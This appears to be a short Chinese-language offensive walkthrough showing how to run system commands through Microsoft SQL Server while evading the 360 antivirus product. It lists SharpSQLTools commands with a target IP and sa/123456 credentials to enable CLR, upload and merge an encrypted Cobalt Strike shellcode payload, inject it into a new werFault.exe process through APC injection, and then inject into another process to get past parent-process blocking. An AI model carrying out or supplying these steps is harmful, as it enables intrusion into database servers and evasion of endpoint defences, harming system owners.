0x01 前言
使用SQL Server提权的时候,发现各种组件都被拦截,无法绕过360执行系统命令,查询资料发现使用SQL Server CLR可以加载shellcode,从而绕过360执行系统命令。
0x02 利用工具
SharpSQLTools https://github.com/uknowsec/SharpSQLTools
0x03 复现过程
1.使用cs生成木马
2.加密shell.bin
python3 Encrypt.py -f shell.bin -k loader
3.启用MSSQL CLR功能
SharpSQLTools.exe 10.108.3.153 sa 123456 master enable_clr
4.使用文件16进制流创建CLR
SharpSQLTools.exe 10.108.3.153 sa 123456 master install_clr
5.上传 payload.txt至可写目录
在执行copy命令合并文件时会被360拦截,但是文件已经被分割上传上去了。
SharpSQLTools.exe 10.108.3.153 sa 123456 master upload payload.txt C:\Users\Public\payload.txt
使用clr_combine去合并文件
SharpSQLTools.exe 10.108.3.153 sa 123456 master clr_combine C:\Users\Public\payload.txt
6.利用clr_scloader1加载进内存
SharpSQLTools中实现的clr_shellcode_loader使用APC注入技术,将shellcode解密后注入了一个新起的werFault.exe的进程中
SharpSQLTools.exe 10.108.3.153 sa 123456 master clr_scloader1 C:\Users\Public\payload.txt loader
cs成功上线
7.进程链bypass
当我们在cs上执行系统命令的操作时会被拦截,360对父进程是sqlservr.exe的进程链拦截得特别厉害。黑名单连:sqlserver.exe–>cmd.exe
360拦截的死死的
注入其他进程来绕过sqlservr.exe的进程链防护。
注入进程
inject ppid arch
再次执行命令,发现已经不拦截了